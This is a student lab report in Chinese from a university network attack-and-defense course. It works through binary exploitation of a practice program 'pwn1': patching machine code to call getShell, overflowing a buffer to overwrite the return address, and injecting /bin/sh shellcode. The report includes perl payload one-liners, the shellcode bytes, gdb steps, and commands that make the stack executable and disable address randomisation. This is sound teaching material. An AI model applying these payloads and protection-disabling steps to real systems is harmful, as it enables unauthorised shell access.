2017-2018-2 《网络对抗技术》 20155302 第二周 Exp1 PC平台逆向破解(5)M
1-实践目标
1.1-实践介绍
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
1.2 基础知识
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
•NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
•JNE:条件转移指令,如果不相等则跳转。(机器码:75)
•JE:条件转移指令,如果相等则跳转。(机器码:74)
•JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
•CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
掌握反汇编与十六进制编程器
•反汇编:objdump -d XX
•进入十六进制编辑模式:进入十六进制编辑模式
•查询:/
•切回原模式:%!xxd -r
实践一:直接修改程序机器指令,改变程序执行流程
•步骤一:将pwn1文件备份 cp pwn1 pwn20155302
•步骤二:通过objdump -d pwn20155302
对文件进行反汇编
•步骤三:使用vi pwn20155302
进入打开文件
•步骤四:在vi内,使用esc
和:%!xxd
将显示模式切换为16进制模式
•步骤五:根据要求,要将e8 d7所在的行修改为而在反汇编代码中观察与之间的区别91-7d=14
•步骤六:在16进制模式中查找要修改的内容/e8 d7
•步骤七:修改d7为c3(d7-14=c3)
•步骤八:转换16进制为原格式:%!xxd -r
并用:wq
存盘退出
•再反汇编看一下,很明显call指令正确调用getShell。
使用./pwn20155302运行的时候会出现找不到文件夹的问题,这时候就按照老师给出的链接按要求下载更新等就好。链接戳这
最后运行./pwn20155302成功
实践二:通过构造输入参数,造成BOF攻击,改变程序执行流
1.反汇编,了解程序的基本功能
2.触发getshell函数
3.该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
•步骤一:先进入gdb使用指令gdb pwn1
然后r输入1111111122222222333333334444444455555555并info r
观察寄存器中数值寻找关系。
发现eip寄存器中的值为0x35353535,因为在ASCII中30为0,所以35代表的是5,由此猜测最后八个5中某四个5决定了寄存器中的值,为了准确找出是哪四个数字,于是我们把8个5换成12345678进一步探索。
发现eip中的数值变成了34333231也就是4321由此判断为1、2、3、4这四个位置数字反向输入覆盖了堆栈上的返回地址。
•步骤二:好了由之前的截图可以看到getshell的内存地址为0804847d,所以应将其反着输入放在11111111222222223333333344444444的后面,即11111111222222223333333344444444\x7d\x84\x04\x08。(因为十六进制的缘故添加\x)
•步骤三:使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令构造文件。并使用十六进制查看指令xxd查看input文件是否符合预期。最后用input的输入作为pwn1的输入。
实践三:注入Shellcode并执行
shellcode概念:
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
构造要注入的payload有两种方法
(1)nop+shellcode+retaddr(适用于缓冲区大的情况)
(2)retaddr+nop+shellcode(适用于缓冲区小的情况)
此实验中我们使用方法(1)。
实验前的准备工作
1.首先安装execstack使用指令apt-get install execstack
2.按照老师的上课给出的指令把文件堆栈可执行,并关闭地址随机化
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
3.理解返回地址入栈与通用寄存器入栈的具体概念
返回地址入栈:我们知道,当函数结束时,代码要返回到上一层函数继续执行,那么,函数如何知道该返回到哪个函数的什么位置执行呢?函数被调用时,会自动把下一条指令的地址压入堆栈,函数结束时,从堆栈读取这个地址,就可以跳转到该指令执行了。如果当前"call foo"指令的地址是0x00171482,由于call指令占5个字节,那么下一个指令的地址为0x00171487,0x00171487将被压入堆栈:
通用寄存器入栈:将函数中使用到的通用寄存器入栈,暂存起来,以便函数结束时恢复。在foo函数中用到的通用寄存器是EBX,ESI,EDI,将它们压入堆栈,如图所示:
实际实验操作
1.首先使用老师给出的已经生成的shellcode代码:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
打开终端输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(注意此处最后一个字符不能是\x0a,因为否则后面运行时会输入回车结束,这样对实验有影响。)
2.另外开启一个终端来找到pwn1的进程号,并打开gdb进行调试
3.gdb中首先(gdb) disassemble foo
设置断点来查看注入buf的内存地址。然后(gdb) break *0x080484ae
(此处的断点地址应为返回值ret的地址)并在此时在另一个终端内按下回车。然后continue继续gdb。
4.使用(gdb) info r esp
指令来查看寄存器的值(gdb) x/16x 0xffffd3fc
看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd2f0。
5.既然知道shellcode的地址,现在也知道了返回地址于是我们要修改地址为perl -e 'print "A" x 32;print "\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
接着使用xxd input_shellcode
指令来查看转换进制内容,并使用指令(cat input_shellcode;cat) | ./pwn1
来查看验证实验结果。
遇到的困难
1.不知道为什么我的更新包下载的特别慢,时常会下载停滞,因为这个缘故我花了许许多多时间在这方面上,没有找到原因,老老实实等待下完。
2.在实践一中修改完c3后,没有进行转换为原格式就esc
保存,导致没有办法运行,格式错误,后来完全按照老师顺序操作就ok了。